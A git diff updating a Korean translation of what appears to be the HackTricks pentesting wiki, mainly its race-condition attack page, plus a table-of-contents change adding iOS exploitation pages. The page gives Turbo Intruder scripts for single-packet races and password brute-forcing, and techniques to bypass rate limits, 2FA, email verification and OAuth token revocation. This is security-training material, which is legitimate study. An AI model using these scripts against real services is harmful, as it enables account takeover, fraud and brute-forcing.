diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index abe382dcf..be4d4275a 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -837,9 +837,14 @@
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
-- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+  - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+  - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+  - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+  - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+  - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+
 
 # 🤖 AI
 - [AI Security](AI/README.md)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 022f83f42..2e609c6d6 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
 {{#include ../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> 이 기술에 대한 깊은 이해를 얻으려면 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)에서 원본 보고서를 확인하세요.
+> 이 기술을 깊이 이해하려면 원문 리포트 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)를 확인하세요.
 
-## Race Condition 공격 강화
+## Race Condition 공격 고도화
 
-Race condition을 이용하는 데 있어 주요 장애물은 여러 요청이 동시에 처리되도록 보장하는 것입니다. **처리 시간의 차이가 매우 적어야 하며, 이상적으로는 1ms 미만이어야 합니다.**
+주요 장애물은 여러 요청이 거의 동시에 처리되도록 만드는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만이어야 합니다.
 
-여기 요청 동기화를 위한 몇 가지 기술을 찾을 수 있습니다:
+요청 동기화를 위한 몇 가지 기법은 다음과 같습니다:
 
-#### HTTP/2 단일 패킷 공격 vs. HTTP/1.1 마지막 바이트 동기화
+#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
 
-- **HTTP/2**: 단일 TCP 연결을 통해 두 개의 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측의 변동성으로 인해 두 개의 요청만으로는 일관된 race condition exploit에 충분하지 않을 수 있습니다.
-- **HTTP/1.1 '마지막 바이트 동기화'**: 20-30개의 요청의 대부분을 미리 전송하고, 작은 조각을 보류한 후 함께 전송하여 서버에 동시에 도착하도록 합니다.
+- **HTTP/2**: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동 때문에 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있습니다.
+- **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류한 다음, 그 조각들을 함께 전송해 서버에 동시에 도착하도록 만드는 방식입니다.
 
-**마지막 바이트 동기화를 위한 준비**는 다음을 포함합니다:
+**Preparation for Last-Byte Sync** involves:
 
-1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 본문 데이터를 전송합니다.
-2. 초기 전송 후 100ms 동안 일시 정지합니다.
-3. 최종 프레임을 배치하기 위해 Nagle의 알고리즘을 활용하기 위해 TCP_NODELAY를 비활성화합니다.
-4. 연결을 준비하기 위해 핑을 보냅니다.
+1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다.
+2. 초기 전송 후 100ms 동안 대기합니다.
+3. 최종 프레임 배치를 위해 TCP_NODELAY를 비활성화하여 Nagle's algorithm을 활용합니다.
+4. 연결을 워밍업하기 위해 ping을 수행합니다.
 
-보류된 프레임을 이후에 전송하면 단일 패킷으로 도착해야 하며, Wireshark를 통해 확인할 수 있습니다. 이 방법은 일반적으로 RC 공격에 관련되지 않는 정적 파일에는 적용되지 않습니다.
+보류한 프레임을 이후에 전송하면 단일 패킷으로 도착하는 것을 Wireshark로 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 사용되지 않는 static files에는 적용되지 않습니다.
 
-### 서버 아키텍처에 적응하기
+### 서버 아키텍처에 맞게 조정
 
-대상의 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 미칠 수 있습니다. 무의미한 요청을 통해 서버 측 연결을 미리 준비하면 요청 타이밍을 정상화할 수 있습니다.
+대상 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 줄 수 있습니다. 중요하지 않은 요청으로 사전 서버 측 연결 워밍업을 수행하면 요청 타이밍을 정규화할 수 있습니다.
 
 #### 세션 기반 잠금 처리
 
-PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다.
+PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session 토큰을 사용하면 이 문제를 회피할 수 있습니다.
 
-#### 속도 또는 자원 제한 극복
+#### Rate 또는 자원 제한 극복
 
-연결 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 웹 서버의 속도 또는 자원 제한 지연을 의도적으로 유발하여 race condition에 유리한 서버 측 지연을 유도함으로써 단일 패킷 공격을 용이하게 할 수 있습니다.
+연결 워밍업이 효과적이지 않다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 자원 제한 지연을 의도적으로 유발하면 서버 측 지연이 생겨 single-packet attack에 유리해질 수 있습니다.
 
 ## 공격 예시
 
-- **Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트)**: 요청을 **Turbo intruder**에 전송할 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), 요청에서 **`%s`**에 대해 강제로 공격할 값을 변경할 수 있습니다. 예: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그리고 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택합니다:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 **Turbo intruder**로 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 브루트포스할 값인 **`%s`**를 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`처럼 변경한 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택하세요:
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
-**다른 값을 전송할** 경우, 클립보드에서 단어 목록을 사용하는 이 코드로 수정할 수 있습니다:
+값을 **다르게 전송하려는 경우**, 클립보드에서 워드리스트를 사용하는 다음 코드로 수정할 수 있습니다:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
 engine.queue(target.req, password, gate='race1')
 ```
 > [!WARNING]
-> 웹이 HTTP2를 지원하지 않는 경우(오직 HTTP1.1만 지원) `Engine.THREADED` 또는 `Engine.BURP`를 사용하고 `Engine.BURP2`는 사용하지 마십시오.
+> 웹이 HTTP2를 지원하지 않고(오직 HTTP1.1만 지원하는 경우) `Engine.BURP2` 대신 `Engine.THREADED` 또는 `Engine.BURP`를 사용하세요.
 
-- **Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트)**: RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 그 후 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 만약 RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 이어서 다른 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
-- Burp Suite의 새로운 '**Send group in parallel**' 옵션을 통해 **Repeater**에서도 사용할 수 있습니다.
-- **limit-overrun**의 경우, 그룹에 **같은 요청을 50번** 추가할 수 있습니다.
-- **connection warming**을 위해, **그룹**의 **시작** 부분에 웹 서버의 비정적 부분에 대한 **요청**을 **추가**할 수 있습니다.
-- **지연**을 위해 **하나의 요청과 다른 요청** 사이의 처리 **과정**을 2개의 하위 상태 단계로 나누어, 두 요청 사이에 **추가 요청을** **추가**할 수 있습니다.
-- **multi-endpoint** RC의 경우, **숨겨진 상태**로 가는 **요청**을 먼저 보내고, 그 뒤에 **숨겨진 상태를 악용하는 50개의 요청**을 보낼 수 있습니다.
+- 또한 Burp Suite의 **Repeater**에서 새로운 '**Send group in parallel**' 옵션을 통해 사용할 수 있습니다.
+- **limit-overrun**의 경우 그룹에 **같은 request를 50번** 추가하면 됩니다.
+- **connection warming**을 위해 그룹의 **시작 부분**에 웹 서버의 비정적 부분에 대한 몇 개의 **requests**를 **추가**할 수 있습니다.
+- 2 substates 단계에서 한 **request**를 처리한 다음 다른 **request**를 처리하는 과정 사이를 **지연**시키려면, 두 **request** 사이에 추가 **requests**를 넣을 수 있습니다.
+- **multi-endpoint** RC의 경우, **hidden state**로 가는 **request**를 먼저 보내고 그 직후에 **50 requests**를 보내서 **hidden state**를 악용할 수 있습니다.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **자동화된 파이썬 스크립트**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다(이는 코드에서 이메일을 수정할 수 있는 RC가 발견되었지만 확인이 이전 이메일로 전송되도록 이메일을 나타내는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
-"objetivo"라는 단어가 수신된 이메일에서 발견되면 변경된 이메일의 확인 토큰을 수신했음을 알 수 있으며 공격을 종료합니다.
+- **Automated python script**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 검증 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드 상에서 이메일을 수정할 수는 있지만 검증이 이전 이메일로 전송되는 RC가 관찰되었기 때문이며, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\ 
+수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 검증 토큰을 받은 것으로 판단하고 공격을 종료합니다.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@@ -217,21 +217,21 @@ h2_conn.close_connection()
 
 response = requests.get(url, verify=False)
 ```
-### Improving Single Packet Attack
+### Single Packet Attack 개선
 
-원래 연구에서는 이 공격이 1,500 바이트의 한계를 가지고 있다고 설명합니다. 그러나 [**이 게시물**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP 레이어 분할을 사용하여 단일 패킷 공격의 1,500 바이트 제한을 **TCP의 65,535 B 윈도우 제한으로 확장하는 방법**이 설명되었습니다(단일 패킷을 여러 IP 패킷으로 나누고 서로 다른 순서로 전송하여 모든 조각이 서버에 도달할 때까지 패킷 재조립을 방지함). 이 기술을 통해 연구자는 약 166ms 만에 10,000개의 요청을 보낼 수 있었습니다.
+원래 연구에서는 이 공격이 1,500 bytes의 제한이 있다고 설명합니다. 하지만 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP layer fragmentation을 사용해 single packet attack의 1,500-byte 제한을 TCP의 **65,535 B window limitation**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 프래그먼트가 서버에 도달할 때까지 재조립을 방지)이 설명되어 있습니다. 이 기법을 통해 연구자는 약 166ms 만에 10,000개의 요청을 전송할 수 있었습니다.
 
-이 개선이 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격을 더 신뢰할 수 있게 만들지만, 일부 소프트웨어 제한이 있을 수 있습니다. Apache, Nginx 및 Go와 같은 일부 인기 있는 HTTP 서버는 각각 100, 128 및 250으로 설정된 엄격한 `SETTINGS_MAX_CONCURRENT_STREAMS` 설정을 가지고 있습니다. 그러나 NodeJS 및 nghttp2와 같은 다른 서버는 이를 무제한으로 설정하고 있습니다.\
-이는 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 것을 의미합니다(이 RC 공격을 제한함).
+이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC 공격의 신뢰성이 높아지지만, 소프트웨어적 한계도 있을 수 있습니다. Apache, Nginx and Go 같은 일부 인기 있는 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS`를 각각 100, 128, 250으로 엄격하게 설정합니다. 반면 NodeJS와 nghttp2 등은 제한이 없습니다.  
+이것은 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 의미이며(이 RC 공격을 제한함) 결국 공격의 효과를 떨어뜨릴 수 있습니다.
 
-이 기술을 사용하는 몇 가지 예는 레포지토리 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 찾을 수 있습니다.
+이 기법을 사용한 예제는 레포 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다.
 
 ## Raw BF
 
-이전 연구 이전에 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 있었습니다.
+이전 연구 이전에는 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 사용되었습니다.
 
-- **Repeater:** 이전 섹션의 예를 확인하세요.
-- **Intruder**: **Intruder**에 **요청**을 보내고, **Options 메뉴**에서 **스레드 수**를 **30**으로 설정한 후, 페이로드로 **Null payloads**를 선택하고 **30개**를 생성합니다.
+- **Repeater:** 이전 섹션의 예제를 확인하세요.
+- **Intruder**: **request**를 **Intruder**로 전송하고, **Options menu**에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**을 생성합니다.
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -283,71 +283,71 @@ asyncio.run(main())
 
 ### Limit-overrun / TOCTOU
 
-이것은 **행동을 수행할 수 있는 횟수를 제한하는** 곳에서 **나타나는 취약점**이 있는 가장 기본적인 유형의 경쟁 조건입니다. 예를 들어, 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 경우입니다. [**이 보고서**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 또는 [**이 버그**](https://hackerone.com/reports/759247)**에서 매우 쉬운 예를 찾을 수 있습니다.**
+This is the most basic type of race condition where **취약점** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
 
-이러한 유형의 공격에는 여러 가지 변형이 있습니다:
+There are many variations of this kind of attack, including:
 
-- 기프트 카드를 여러 번 사용하기
-- 제품을 여러 번 평가하기
-- 계좌 잔액을 초과하여 현금을 인출하거나 이체하기
-- 단일 CAPTCHA 솔루션 재사용하기
-- 안티 브루트 포스 속도 제한 우회하기
+- 기프트 카드를 여러 번 사용하는 경우
+- 제품을 여러 번 평가하는 경우
+- 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 경우
+- 단일 CAPTCHA 솔루션을 재사용하는 경우
+- 브루트포스 방지 rate limit을 우회하는 경우
 
 ### **Hidden substates**
 
-복잡한 경쟁 조건을 악용하는 것은 종종 숨겨진 또는 **의도하지 않은 기계 하위 상태**와 상호작용할 수 있는 짧은 기회를 이용하는 것을 포함합니다. 다음은 이를 접근하는 방법입니다:
+Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **의도치 않은 machine substates**. Here’s how to approach this:
 
-1. **잠재적 숨겨진 하위 상태 식별**
-- 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 파악하는 것부터 시작합니다. 다음에 집중하세요:
-- **저장**: 클라이언트 측 데이터를 처리하는 것보다 서버 측 지속 데이터를 조작하는 엔드포인트를 선호합니다.
-- **작업**: 기존 데이터를 변경하는 작업을 찾습니다. 이는 새로운 데이터를 추가하는 작업보다 악용 가능한 조건을 생성할 가능성이 더 높습니다.
-- **키잉**: 성공적인 공격은 일반적으로 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키가 지정된 작업을 포함합니다.
-2. **초기 탐색 수행**
-- 식별된 엔드포인트에 대해 경쟁 조건 공격을 테스트하고 예상 결과에서의 편차를 관찰합니다. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 신호할 수 있습니다.
-3. **취약점 입증**
-- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 좁힙니다. 종종 두 개의 요청만 필요합니다. 이 단계는 정밀한 타이밍이 필요하기 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.
+1. **Identify Potential Hidden Substates**
+- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
+- **Storage**: 서버측 영속 데이터를 조작하는 엔드포인트를 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 우선적으로 살펴보세요.
+- **Action**: 기존 데이터를 변경하는 작업을 찾아보세요. 새 데이터를 추가하는 작업보다 exploit 가능한 조건을 만들 가능성이 큽니다.
+- **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)에 키가 걸린 작업이 관련됩니다.
+2. **Conduct Initial Probing**
+- 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대한 결과와의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 나타낼 수 있습니다.
+3. **Demonstrate the Vulnerability**
+- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 축소하세요. 종종 필요한 것은 단 두 번의 요청뿐입니다. 이 단계는 정밀한 타이밍이 요구되므로 여러 번의 시도나 자동화가 필요할 수 있습니다.
 
-### 시간 민감 공격
+### Time Sensitive Attacks
 
-요청의 타이밍 정밀성은 취약점을 드러낼 수 있습니다. 특히 보안 토큰에 타임스탬프와 같은 예측 가능한 방법이 사용될 때 그렇습니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하면 동시에 요청에 대해 동일한 토큰이 허용될 수 있습니다.
+요청 타이밍의 정밀성은 취약점을 드러낼 수 있습니다. 특히 타임스탬프와 같이 예측 가능한 방식이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, 타임스탬프에 기반한 password reset tokens 생성을 사용하는 경우 동시 요청에 대해 동일한 토큰이 만들어질 수 있습니다.
 
-**악용 방법:**
+**To Exploit:**
 
-- 단일 패킷 공격과 같은 정밀한 타이밍을 사용하여 동시 비밀번호 재설정 요청을 합니다. 동일한 토큰은 취약점을 나타냅니다.
+- 단일 패킷 공격과 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 생성하세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다.
 
-**예시:**
+**Example:**
 
-- 두 개의 비밀번호 재설정 토큰을 동시에 요청하고 비교합니다. 일치하는 토큰은 토큰 생성의 결함을 시사합니다.
+- 동시에 두 개의 password reset tokens를 요청하여 비교하세요. 토큰이 일치하면 token 생성에 결함이 있음을 시사합니다.
 
-**이것을 확인하세요** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **에서 시도해 보세요.**
+이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)를 확인하세요.
 
 ## Hidden substates case studies
 
 ### Pay & add an Item
 
-이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인하여 상점에서 **지불**하고 **추가 아이템을 추가하는 방법**을 알아보세요. **지불할 필요가 없습니다.**
+이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인해 상점에서 결제하고 추가 항목을 결제하지 않고 얻는 방법을 살펴보세요.
 
 ### Confirm other emails
 
-아이디어는 **이메일 주소를 확인하고 동시에 다른 이메일로 변경하는 것**입니다. 플랫폼이 변경된 새 이메일을 확인하는지 알아보세요.
+아이디어는 **이메일 주소를 verify하고 동시에 다른 주소로 변경**하여 플랫폼이 변경된 새 주소를 실제로 인증하는지 확인하는 것입니다.
 
 ### Change email to 2 emails addresses Cookie based
 
-[**이 연구**](https://portswigger.net/research/smashing-the-state-machine)에 따르면 Gitlab은 이 방법으로 인수 공격에 취약했습니다. 왜냐하면 **하나의 이메일의 이메일 확인 토큰을 다른 이메일로 보낼 수 있기 때문입니다.**
+According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
 
-**이것을 확인하세요** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **에서 시도해 보세요.**
+이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)를 확인하세요.
 
 ### Hidden Database states / Confirmation Bypass
 
-**2개의 서로 다른 쓰기**가 **데이터베이스** 내에 **정보를 추가하는 데** 사용되면, **첫 번째 데이터만 데이터베이스에 기록된** 짧은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 **사용자 이름**과 **비밀번호**가 **기록되고** **새로 생성된 계정을 확인하기 위한 토큰**이 기록됩니다. 이는 짧은 시간 동안 **계정을 확인하기 위한 토큰이 null**임을 의미합니다.
+If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
 
-따라서 **계정을 등록하고 빈 토큰**(`token=` 또는 `token[]=` 또는 기타 변형)을 사용하여 여러 요청을 보내면 **이메일을 제어하지 않는 계정을 확인할 수 있습니다.**
+따라서 **계정을 등록하고 빈 token으로 여러 요청을 전송하는 것**(`token=` or `token[]=` or any other variation`)으로 계정을 즉시 확인하려고 하면, 이메일을 제어하지 못하는 계정을 **확인(confirm an account)** 할 수 있게 될 가능성이 있습니다.
 
-**이것을 확인하세요** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **에서 시도해 보세요.**
+이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)를 확인하세요.
 
 ### Bypass 2FA
 
-다음 의사 코드는 경쟁 조건에 취약합니다. 왜냐하면 세션이 생성되는 동안 **2FA가 적용되지 않는** 매우 짧은 시간이 있기 때문입니다:
+The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -357,22 +357,23 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 영구 지속성
 
-여러 [**OAUth 제공자**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)가 있습니다. 이러한 서비스는 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **클라이언트**는 **귀하의 애플리케이션**이 **OAUth 제공자** 내의 일부 데이터에 접근할 수 있도록 **허용해야** 합니다.\
-여기까지는 구글/링크드인/깃허브 등에서 "_애플리케이션 \<InsertCoolName>이 귀하의 정보에 접근하고자 합니다. 허용하시겠습니까?_"라는 페이지가 표시되는 일반적인 로그인입니다.
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스들은 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **client**는 **애플리케이션이** 해당 **OAUth provider** 내부의 일부 데이터에 접근하는 것을 허용해야 합니다.\
+여기까지는 google/linkedin/github 같은 일반적인 로그인으로, "_Application \<InsertCoolName>가 귀하의 정보를 액세스하려 합니다. 허용하시겠습니까?_"라는 페이지가 표시됩니다.
 
-#### `authorization_code`의 경합 조건
+#### Race Condition in `authorization_code`
 
-**문제**는 **허용**했을 때 발생하며, 악의적인 애플리케이션에 **`authorization_code`**가 자동으로 전송됩니다. 그런 다음 이 **애플리케이션은 OAUth 서비스 제공자의 경합 조건을 악용하여 귀하의 계정에 대해 **`authorization_code`**로부터 하나 이상의 AT/RT** (_인증 토큰/리프레시 토큰_)를 생성합니다. 기본적으로, 애플리케이션이 귀하의 데이터에 접근하도록 허용한 사실을 악용하여 **여러 계정을 생성**합니다. 그런 다음, 애플리케이션이 귀하의 데이터에 접근하는 것을 **중지하면 AT/RT 쌍 중 하나는 삭제되지만, 나머지는 여전히 유효합니다**.
+문제는 사용자가 이를 **허용**하면 자동으로 **`authorization_code`**가 악성 애플리케이션으로 전송될 때 발생합니다. 이후 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 계정의 **`authorization_code`**로부터 둘 이상의 AT/RT (_Authentication Token/Refresh Token_)을 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용했다는 점을 악용해 **여러 계정**을 생성합니다. 그런 다음 사용자가 애플리케이션의 접근 권한을 취소하면 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남아 있을 수 있습니다.
 
-#### `Refresh Token`의 경합 조건
+#### Race Condition in `Refresh Token`
 
-**유효한 RT를 얻은 후** 여러 AT/RT를 생성하기 위해 **악용할 수 있으며**, **사용자가 악의적인 애플리케이션이 자신의 데이터에 접근하는 권한을 취소하더라도, 여러 RT는 여전히 유효합니다.**
+유효한 RT를 얻으면 이를 악용해 여러 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 접근 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남을 수 있습니다.
 
-## **웹소켓의 RC**
+## **RC in WebSockets**
 
-[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)에서 **웹소켓** 메시지를 **병렬로** 전송하여 **웹소켓에서도 경합 조건을 악용하는** PoC를 찾을 수 있습니다.
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
+- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 
-## 참고 문헌
+## References
 
 - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
 - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@@ -380,5 +381,8 @@ session['enforce_mfa'] = True
 - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
 - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 2452d5aea..575d43fab 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -2,19 +2,19 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## WebSocket이란 무엇인가
+## WebSocket란 무엇인가
 
